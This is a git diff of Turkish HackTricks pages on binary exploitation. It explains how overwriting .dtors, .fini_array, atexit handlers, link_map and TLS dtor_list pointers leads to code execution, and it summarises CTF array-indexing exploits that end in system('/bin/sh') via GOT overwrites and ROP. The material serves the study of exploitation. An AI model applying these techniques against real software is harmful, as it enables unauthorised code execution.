+{% endhint %} ## .dtors {% hint style="danger" %} -Günümüzde bir binary dosyada .dtors bölümü bulmak **çok garip**! +Günümüzde bir binary dosyası bulmak çok **garip bir durum!** {% endhint %} -Yıkıcılar, **programın sona ermeden önce çalıştırılan fonksiyonlardır** (`main` fonksiyonu geri döndükten sonra).\ -Bu fonksiyonların adresleri, binary dosyanın **`.dtors`** bölümünde saklanır ve bu nedenle, **`__DTOR_END__`** içinde bir **shellcode** adresine **yazmayı** başarırsanız, bu programın sona ermeden önce **çalıştırılacaktır**. +Yıkıcılar, programın **bitişinden önce** (ana işlev geri döndükten sonra) **çalıştırılan işlevlerdir**.\ +Bu işlevlerin adresleri, binary dosyanın **`.dtors`** bölümünde saklanır ve bu nedenle, **`__DTOR_END__`** içine bir **shellcode** adresi **yazmayı** başarırsanız, bu, programın sona ermeden önce **çalıştırılacaktır**. Bu bölümün adresini şu şekilde alın: ```bash objdump -s -j .dtors /exec rabin -s /exec | grep “__DTOR” ``` -Genellikle **DTOR** işaretçilerini `ffffffff` ve `00000000` değerleri **arasında** bulacaksınız. Yani eğer sadece bu değerleri görüyorsanız, bu **kayıtlı herhangi bir fonksiyonun olmadığı anlamına gelir**. Bu yüzden **`00000000`** değerini **shellcode'ı** çalıştırmak için **adresle üzerine yazın**. +Genellikle **DTOR** işaretçilerini `ffffffff` ve `00000000` değerleri **arasında** bulacaksınız. Yani eğer sadece bu değerleri görüyorsanız, bu **kayıtlı herhangi bir fonksiyonun olmadığı anlamına gelir**. Bu yüzden **`00000000`** değerini **shellcode'ın adresiyle üzerine yazın** ve onu çalıştırın. {% hint style="warning" %} Tabii ki, daha sonra onu çağırmak için **shellcode'ı saklamak için bir yer bulmanız gerekiyor**. @@ -36,7 +37,7 @@ Tabii ki, daha sonra onu çağırmak için **shellcode'ı saklamak için bir yer ## **.fini\_array** -Temelde bu, programın bitmeden önce **çağrılacak fonksiyonların bulunduğu bir yapıdır**, **`.dtors`** gibi. Bu, **shellcode'u bir adrese atlayarak çağırabildiğinizde** veya **zafiyeti ikinci kez sömürmek için tekrar `main`'e gitmeniz gerektiğinde** ilginçtir. +Temelde bu, programın **bitişinden önce çağrılacak fonksiyonlar** içeren bir yapıdır, **`.dtors`** gibi. Bu, **sadece bir adrese atlayarak shellcode'ınızı çağırabiliyorsanız** veya **zafiyeti ikinci kez sömürmek için tekrar `main`'e gitmeniz gereken durumlarda** ilginçtir. ```bash objdump -s -j .fini_array ./greeting @@ -47,19 +48,34 @@ Contents of section .fini_array: #Put your address in 0x8049934 ``` -**`.fini_array`**'dan bir işlev çalıştırıldığında bir sonrakine geçer, bu nedenle birkaç kez çalıştırılmaz (sonsuz döngüleri önler), ancak yalnızca buraya yerleştirilen bir **işlevin yürütülmesini** sağlar. +Not: Bir **`.fini_array`** işlevi çalıştırıldığında bir sonrakine geçer, bu nedenle birkaç kez çalıştırılmaz (sonsuz döngüleri önler), ancak yalnızca buraya yerleştirilen bir **işlevin yürütülmesini** sağlar. -**`.fini_array`** içindeki girişler **ters** sırayla çağrılır, bu nedenle muhtemelen en sondan yazmaya başlamak istersiniz. +Not: `.fini_array` içindeki girişler **ters** sırayla çağrılır, bu nedenle muhtemelen en sondan yazmaya başlamak istersiniz. #### Sonsuz döngü -**`.fini_array`**'ı sonsuz bir döngü elde etmek için kötüye kullanmak için [**burada ne yapıldığını kontrol edebilirsiniz**](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html)**:** En az 2 girişiniz varsa **`.fini_array`** içinde, şunları yapabilirsiniz: +**`.fini_array`**'yi sonsuz bir döngü elde etmek için kötüye kullanmak için [**burada ne yapıldığını kontrol edebilirsiniz**](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html)**:** En az 2 girişiniz varsa **`.fini_array`** içinde, şunları yapabilirsiniz: -* İlk yazmanızı **zararlı keyfi yazma işlevini çağırmak** için kullanın -* Ardından, **`__libc_csu_fini`** tarafından depolanan yığında dönüş adresini hesaplayın ve oraya **`__libc_csu_fini`**'nin adresini koyun -* Bu, **`__libc_csu_fini`**'nin kendisini tekrar çağırmasını sağlayacak ve **`.fini_array`** işlevlerini tekrar çalıştıracak, bu da zararlı WWW işlevini 2 kez çağıracak: biri için **keyfi yazma** ve diğeri **`__libc_csu_fini`**'nin yığınındaki dönüş adresini tekrar üzerine yazmak için kendisini tekrar çağırmak için. +* İlk yazmanızı **zafiyetli keyfi yazma işlevini çağırmak** için kullanın +* Ardından, **`__libc_csu_fini`** tarafından depolanan yığında dönüş adresini hesaplayın (tüm `.fini_array` işlevlerini çağıran işlev) ve oraya **`__libc_csu_fini`** adresini koyun +* Bu, **`__libc_csu_fini`**'nin kendisini tekrar çağırmasını sağlayacak ve **`.fini_array`** işlevlerini tekrar çalıştıracak, bu da zafiyetli WWW işlevini 2 kez çağıracak: biri için **keyfi yazma** ve diğeri **`__libc_csu_fini`**'nin yığında tekrar dönüş adresini üzerine yazmak için kendisini tekrar çağırmak için. {% hint style="danger" %} [**Tam RELRO**](../common-binary-protections-and-bypasses/relro.md)** ile,** bölüm **`.fini_array`** **salt okunur** hale getirilir. Yeni sürümlerde, [**Kısmi RELRO**] ile bile bölüm **`.fini_array`** **salt okunur** hale getirilir. {% endhint %} + +{% hint style="success" %} +AWS Hacking öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Destek HackTricks + +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek hacking püf noktalarını paylaşın. + +
+{% endhint %} diff --git a/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md b/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md index 46e1bde22..95199271a 100644 --- a/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md +++ b/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md @@ -1,31 +1,32 @@ # WWW2Exec - atexit(), TLS Depolama ve Diğer Karışık İşaretçiler +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} ## **\_\_atexit Yapıları** {% hint style="danger" %} -Günümüzde bunu **saldırmak çok garip!** +Günümüzde bunu **sömürmek çok garip!** {% endhint %} -**`atexit()`**, **parametre olarak başka fonksiyonların** geçildiği bir fonksiyondur. Bu **fonksiyonlar**, bir **`exit()`** veya **main**'in **dönüşü** sırasında **çalıştırılacaklardır.**\ -Eğer bu **fonksiyonlardan herhangi birinin adresini** örneğin bir shellcode'a işaret edecek şekilde **değiştirebilirseniz**, işlem **üzerinde kontrol** sağlayacaksınız, ancak bu şu anda daha karmaşıktır.\ -Şu anda **çalıştırılacak fonksiyonların adresleri** birkaç yapı arkasında **gizlenmiştir** ve sonunda işaret ettiği adresler fonksiyonların adresleri değildir, ancak **XOR ile şifrelenmiş ve rastgele bir anahtarla kaydırılmıştır.** Bu nedenle bu saldırı vektörü şu anda **en azından x86** ve **x64\_86** üzerinde çok kullanışlı değildir.\ -**Şifreleme fonksiyonu** **`PTR_MANGLE`**'dır. m68k, mips32, mips64, aarch64, arm, hppa gibi **diğer mimariler** bu şifreleme fonksiyonunu **uygulamazlar** çünkü girdi olarak aldıklarını **aynı şekilde geri döndürürler.** Bu nedenle bu mimariler bu vektör tarafından saldırıya uğrayabilirler. +**`atexit()`**, **diğer fonksiyonların parametre olarak geçirildiği bir fonksiyondur.** Bu **fonksiyonlar**, bir **`exit()`** veya **main**'in **dönüşü** sırasında **çalıştırılacaklardır.**\ +Eğer bu **fonksiyonlardan herhangi birinin adresini değiştirebilirseniz** ve örneğin bir **shellcode'a** işaret ederse, **işlem kontrolünü ele geçireceksiniz**, ancak bu şu anda daha karmaşıktır.\ +Şu anda **çalıştırılacak fonksiyonların adresleri** birkaç yapı arkasında gizlenmiştir ve sonunda işaret ettiği adresler fonksiyonların adresleri değil, **XOR ile şifrelenmiş ve rastgele bir anahtarla kaydırılmıştır.** Bu nedenle bu saldırı vektörü şu anda **en azından x86** ve **x64\_86** üzerinde çok kullanışlı değildir.\ +**Şifreleme fonksiyonu** **`PTR_MANGLE`**'dır. m68k, mips32, mips64, aarch64, arm, hppa gibi **diğer mimariler**, girdi olarak aldığı gibi **şifrelemeyi uygulamaz**. Bu nedenle bu mimariler bu vektör tarafından saldırıya uğrayabilir. -Bu nasıl çalıştığını ayrıntılı olarak [burada](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html) bulabilirsiniz. +Bu nasıl çalıştığını ayrıntılı olarak [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html) adresinde bulabilirsiniz. ## link\_map @@ -58,16 +59,16 @@ Elf64_Xword d_val; // address of function that will be called, we put our onegad Elf64_Addr d_ptr; // offset from l->l_addr of our structure } ``` -Not: `map -> l_addr + fini_array -> d_un.d_ptr`'nin **hesaplanmasında** nasıl kullanıldığına dikkat edin. +Not: `map -> l_addr + fini_array -> d_un.d_ptr`'ın konumunu **hesaplamak** için nasıl kullanıldığına dikkat edin. Birkaç **seçenek** bulunmaktadır: -* `map->l_addr` değerini üzerine yazarak, talimatları yürütmek için sahte bir `fini_array`'ya işaret edecek şekilde yapay bir `fini_array` oluşturun -* Bellekte daha çok ardışık olan `l_info[DT_FINI_ARRAY]` ve `l_info[DT_FINI_ARRAYSZ]` girişlerini üzerine yazarak, tekrar **`array`'ın bir hafıza bölgesine işaret etmesini sağlayacak** sahte bir `Elf64_Dyn` yapısına işaret edin. -* [**Bu yazıda**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) `l_info[DT_FINI_ARRAY]` üzerine, sahte bir `fini_array` içeren `.bss`'deki kontrol edilen bir bellek adresiyle üzerine yazılır. Bu sahte dizi önce yürütülecek olan bir [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **adresini** içerir ve ardından bu **sahte dizi**nin adresi ile `map->l_addr`'ın değeri arasındaki **fark** böylece `*array` sahte diziye işaret eder. -* Bu tekniğin ana yazısına ve [**bu yazıya**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) göre ld.so, ld.so'da bir binary `link_map`'e işaret eden bir işaretçi bırakır. Bir keyfi yazı ile üzerine yazarak, saldırgan tarafından kontrol edilen sahte bir `fini_array`'ya işaret edecek şekilde üzerine yazılabilir ve örneğin bir [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) adresine işaret edebilirsiniz. +* `map->l_addr` değerini üzerine yazarak, yürütülecek keyfi kod talimatları içeren sahte bir `fini_array`'ya işaret etmesini sağlamak +* Bellekte daha çok ardışık olan `l_info[DT_FINI_ARRAY]` ve `l_info[DT_FINI_ARRAYSZ]` girişlerini üzerine yazarak, yine **`array`'ın** saldırganın kontrol ettiği bir bellek bölgesine işaret etmesini sağlayacak sahte bir `Elf64_Dyn` yapısına işaret etmelerini sağlamak. +* [**Bu yazıda**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) `l_info[DT_FINI_ARRAY]`'ı `.bss` içindeki sahte bir `fini_array` içeren kontrol edilen bellek adresiyle üzerine yazıyor. Bu sahte dizi önce yürütülecek bir [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) adresini içerir ve ardından bu **sahte dizi**nin adresi ile `map->l_addr`'ın değeri arasındaki **fark** ve böylece `*array` sahte diziye işaret eder. +* Bu tekniğin ana yazısına ve [**bu yazıya**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) göre ld.so, ld.so'da binary `link_map`'e işaret eden bir işaretçi bırakır. Keyfi yazma ile üzerine yazarak, saldırganın kontrol ettiği sahte bir `fini_array`'a işaret eden ve örneğin bir [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) adresine işaret eden bu işaretçiyi yapabilirsiniz. -Önceki kodu takip ederek, kodun başka ilginç bir bölümünü bulabilirsiniz: +Önceki kodun devamında, ilginç bir bölüm daha bulabilirsiniz: ```c /* Next try the old-style destructor. */ ElfW(Dyn) *fini = map->l_info[DT_FINI]; @@ -75,11 +76,11 @@ if (fini != NULL) DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr)); } ``` -Bu durumda, `map->l_info[DT_FINI]` değerinin üzerine yazılabilir ve sahte bir `ElfW(Dyn)` yapısına işaret edilebilir. [**Daha fazla bilgi için buraya bakabilirsiniz**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link\_map-structure). +Bu durumda, `map->l_info[DT_FINI]` değerinin üzerine yazılması mümkün olacaktır ve sahte bir `ElfW(Dyn)` yapısına işaret edilecektir. [**Daha fazla bilgi için buraya bakabilirsiniz**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link\_map-structure). ## TLS-Depolama dtor\_list üzerine yazma işlemi **`__run_exit_handlers`** içinde -Eğer bir program `return` veya `exit()` ile sonlandırılırsa, **`__run_exit_handlers()`** fonksiyonunu çalıştıracaktır ve kayıtlı olan herhangi bir yıkıcı fonksiyonu çağıracaktır. +Eğer bir program `return` veya `exit()` ile çıkış yaparsa, **`__run_exit_handlers()`** fonksiyonunu çalıştıracaktır ve kayıtlı olan herhangi bir yıkıcı fonksiyonu çağıracaktır. _run_exit_handlers() fonksiyonundan gelen kod: ```c @@ -127,12 +128,12 @@ func (cur->obj); } } ``` -**`tls_dtor_list`**'te kayıtlı her işlev için, **`cur->func`** işaretçisini açacak ve **`cur->obj`** argümanı ile çağıracaktır. +Her bir kayıtlı fonksiyon için **`tls_dtor_list`** içindeki işaretçiyi **`cur->func`**'dan çözer ve **`cur->obj`** argümanı ile çağırır. -Bu [**GEF'in bu çatalından**](https://github.com/bata24/gef) **`tls`** işlevini kullanarak, aslında **`dtor_list`**'in **stack canary** ve **PTR\_MANGLE cookie**'ye çok **yakın** olduğunu görmek mümkündür. Bu nedenle, üzerine bir taşma olduğunda **cookie** ve **stack canary**'yi **üzerine yazmak** mümkün olacaktır.\ -PTR\_MANGLE cookie üzerine yazıldığında, bunu 0x00 olarak ayarlayarak **`PTR_DEMANLE` işlevini atlayabilir** ve gerçek adresi elde etmek için kullanılan **`xor`**'un sadece yapılandırılmış adres olduğu anlamına gelir. Ardından, **`dtor_list`** üzerine yazarak, işlev **adresi** ve **argümanı** ile birkaç işlevi **zincirlemek** mümkündür. +Bu [**GEF'in bu çatalından**](https://github.com/bata24/gef) **`tls`** fonksiyonunu kullanarak, aslında **`dtor_list`**'in **stack canary** ve **PTR\_MANGLE cookie**'ye çok **yakın** olduğunu görmek mümkündür. Bu nedenle, üzerine taşma gerçekleştirilirse **cookie** ve **stack canary**'yi **üzerine yazmak** mümkün olacaktır.\ +PTR\_MANGLE cookie üzerine yazıldığında, bunu 0x00 olarak ayarlayarak **`PTR_DEMANLE` fonksiyonunu atlayabilir** ve gerçek adresi elde etmek için kullanılan **`xor`** sadece yapılandırılmış adres olacaktır. Ardından, **`dtor_list`** üzerine yazarak, fonksiyon **adresi** ve **argümanı** ile birkaç fonksiyonu **zincirleme** olasılığı vardır. -Son olarak, depolanan işaretçinin sadece cookie ile **xor** işlemine tabi tutulmayacağı, aynı zamanda 17 bit döndürüleceğine dikkat edin: +Son olarak, depolanan işaretçinin sadece cookie ile **xor** işlemine tabi tutulmayacağını, aynı zamanda 17 bit döndürüleceğini unutmayın: ```armasm 0x00007fc390444dd4 <+36>: mov rax,QWORD PTR [rbx] --> mangled ptr 0x00007fc390444dd7 <+39>: ror rax,0x11 --> rotate of 17 bits @@ -140,13 +141,13 @@ Son olarak, depolanan işaretçinin sadece cookie ile **xor** işlemine tabi tut ``` Yeni bir adres eklemeden önce bunu dikkate almanız gerekmektedir. -Örnek bir öğeyi [**orijinal gönderide**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite) bulun. +Örnek bulun: [**orijinal gönderide**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite). -## **`__run_exit_handlers`** içindeki Diğer bozulmuş işaretçiler +## Diğer bozulmuş işaretçiler **`__run_exit_handlers`** içinde -Bu teknik [**burada açıklanmıştır**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite) ve yine programın `return` veya `exit()` çağrısı yaparak sonlandırılması durumuna bağlıdır, böylece **`__run_exit_handlers()`** çağrılır. +Bu teknik [**burada açıklanmıştır**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite) ve yine programın **`return` veya `exit()` çağrısı yaparak çıkması** ve dolayısıyla **`__run_exit_handlers()`** fonksiyonunun çağrılmasına bağlıdır. -Bu işlevin daha fazla kodunu kontrol edelim: +Bu fonksiyonun daha fazla kodunu kontrol edelim: ```c while (true) { @@ -228,11 +229,11 @@ free (cur); __libc_lock_unlock (__exit_funcs_lock); ``` Değişken `f`, **`initial`** yapısına işaret eder ve `f->flavor` değerine bağlı olarak farklı fonksiyonlar çağrılacaktır.\ -Değerine bağlı olarak, çağrılacak fonksiyonun adresi farklı bir yerde olacak, ancak her zaman **demangled** olacaktır. +Değerine bağlı olarak çağrılacak fonksiyonun adresi farklı bir yerde olacak, ancak her zaman **demangled** olacaktır. Ayrıca, **`ef_on`** ve **`ef_cxa`** seçeneklerinde bir **argümanı** kontrol etmek de mümkündür. -Hata ayıklama oturumunda **GEF** çalışırken **`gef> p initial`** komutu ile **`initial` yapısı** kontrol edilebilir. +Hata ayıklama oturumunda **`gef> p initial`** komutunu çalıştırarak **`initial` yapısını** kontrol etmek mümkündür. -Bunu kötüye kullanmak için ya **`PTR_MANGLE`** cookie'sini **sızdırmanızı veya silmeniz** ve ardından `initial` içindeki bir `cxa` girdisini `system('/bin/sh')` ile üzerine yazmanız gerekir.\ -Bu tekniğe ilişkin bir örneği [**orijinal blog yazısında bulabilirsiniz**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure). +Bunu kötüye kullanmak için ya **`PTR_MANGLE`cookie**'yi sızdırmanız ya da silmeniz ve ardından `initial` içindeki bir `cxa` girdisini `system('/bin/sh')` ile üzerine yazmanız gerekir.\ +Bu tekniğe ilişkin bir örneği [**orijinal teknik hakkındaki blog yazısında**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure) bulabilirsiniz. diff --git a/binary-exploitation/array-indexing.md b/binary-exploitation/array-indexing.md index c8a7c8a58..ef8e92e4c 100644 --- a/binary-exploitation/array-indexing.md +++ b/binary-exploitation/array-indexing.md @@ -1,18 +1,19 @@ # Dizi İndeksleme +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} ## Temel Bilgiler @@ -21,10 +22,10 @@ Bu kategori, dizilerdeki indekslerin işlenmesindeki hatalar nedeniyle belirli v Ancak burada bazı güzel **örnekler** bulabilirsiniz: * [https://guyinatuxedo.github.io/11-index/swampctf19\_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19\_dreamheaps/index.html) -* Verilerin depolandığı **adresler** için bir tane ve o verilerin **boyutları** için bir tane olmak üzere **2 çakışan dizi** bulunmaktadır. Birinden diğerine üzerine yazma yapmak mümkündür, bu da rastgele bir adresi boyut olarak belirterek yazmayı sağlar. Bu, GOT tablosundaki `free` fonksiyonunun adresini yazmayı ve ardından onu `system` adresiyle üzerine yazmayı ve hafızadan `/bin/sh` ile çağırmayı mümkün kılar. +* **2 çakışan dizi** bulunmaktadır, biri verilerin depolandığı **adresler** için diğeri ise o verilerin **boyutları** için. Birinden diğerini üzerine yazmak mümkündür, bu da rastgele bir adresi boyut olarak belirlemeyi sağlar. Bu, GOT tablosundaki `free` fonksiyonunun adresini yazmayı ve ardından onu `system` adresiyle üzerine yazmayı ve hafızadan `/bin/sh` ile free'yi çağırmayı mümkün kılar. * [https://guyinatuxedo.github.io/11-index/csaw18\_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18\_doubletrouble/index.html) -* 64 bit, nx yok. Bir boyutu üzerine yazarak her şeyin çift sayı olarak kullanılacağı ve en küçükten en büyüğe sıralanacağı bir tür tampon taşmasını elde etmek mümkündür, bu nedenle bu gereksinimi karşılayan bir kabuk kodu oluşturmak gereklidir. Ayrıca, canary'nin konumundan hareket ettirilmemesi gerektiğini ve son olarak RIP'nin bir ret adresiyle üzerine yazılması gerektiğini ve bu gereksinimleri karşılayan ve yığının başlangıcına işaret eden yeni bir adresin en büyük adresi eklenmesi gerektiğini unutmamak gerekir (program tarafından sızdırılan). Bu şekilde ret'in oraya atlaması mümkün olacaktır. +* 64 bit, nx yok. Bir boyutu üzerine yazarak her şeyin çift sayı olarak kullanılacağı ve en küçükten en büyüğe doğru sıralanacağı bir tür tampon taşmasını geçmek için gereken bir kabuk kodu oluşturulması gerekmektedir, bu gereksinimi karşılayan bir adresle RIP'nin üzerine yazılması gerekmektedir ve en büyük adresin, yığının başlangıcına işaret eden yeni bir adresle değiştirilmesi gerekmektedir (program tarafından sızdırılan). Son olarak, sızdırılan adresi kullanarak GOT'ta put adresini sızdırmak için bir ROP zinciri kullanılır (`exit` çağrılacak ve bu nedenle bu zincir yığında çalıştırılacaktır). Son olarak, ret2lib'i çalıştıran yeni bir ROP zinciri kullanılır. * [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/) -* 64 bit, relro yok, canary yok, nx yok, pie yok. Yığında bir dizide bir tane fazla olan bir hata vardır ve bu, bir işaretçiyi kontrol etmeyi sağlar ve bu işaretçi, dizideki fazla olan bir hata tarafından üzerine yazılan adreslerin toplamını yazmaktadır. Yığın kontrol edilir, bu nedenle GOT `exit` adresi `pop rdi; ret` ile üzerine yazılır ve yığında `main` adresi eklenir (`main`'e geri dönüş yapılır). Ardından, puts kullanarak GOT'taki adresin sızdırılması için bir ROP zinciri kullanılır (`exit` çağrılacak, bu nedenle `pop rdi; ret` çağrılacak ve bu nedenle bu zincir yığında çalıştırılacaktır). Son olarak, ret2lib'i çalıştıran yeni bir ROP zinciri kullanılır. +* 64 bit, relro yok, canary yok, nx yok, pie yok. Yığında bir dizide bir tane fazla olan bir hata vardır ve bu, bir işaretçiyi kontrol etmeyi sağlar ve yığın, dizideki fazla olan bir hata tarafından üzerine yazılan adresin tüm sayıların toplamını yazdığı bir adresi kontrol eder. Yığın kontrol edilir, bu nedenle GOT `exit` adresi `pop rdi; ret` ile üzerine yazılır ve yığında `main` adresi eklenir (`main`'e geri dönülür). GOT'ta put adresini sızdırmak için puts kullanılarak bir ROP zinciri kullanılır (`exit` çağrılacak ve bu nedenle bu zincir yığında çalıştırılacaktır). Son olarak, ret2lib'i çalıştıran yeni bir ROP zinciri kullanılır. * [https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html) -* 32 bit, relro yok, canary yok, nx yok, pie yok. Bir kötü indeksleme kullanarak libc ve yığın adreslerini sızdırmak mümkündür. Tampon taşmasını kötüye kullanarak `system('/bin/sh')` çağrısı yapmak için ret2lib kullanılır (bir kontrolü atlatmak için yığın adresine ihtiyaç vardır). +* 32 bit, relro yok, canary yok, nx yok, pie yok. Bir kötü indeksleme kullanarak libc ve yığın adreslerini sızdırmak için kötüye kullanma yapılır. Tampon taşmasını kötüye kullanarak `system('/bin/sh')` çağıran bir ret2lib yapısı oluşturulur (bir kontrolü atlamak için yığın adresine ihtiyaç duyulur). diff --git a/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md b/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md index d8841e33b..eebf562ff 100644 --- a/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md +++ b/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md @@ -1,18 +1,19 @@ # Temel İkili Sömürü Metodolojisi +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
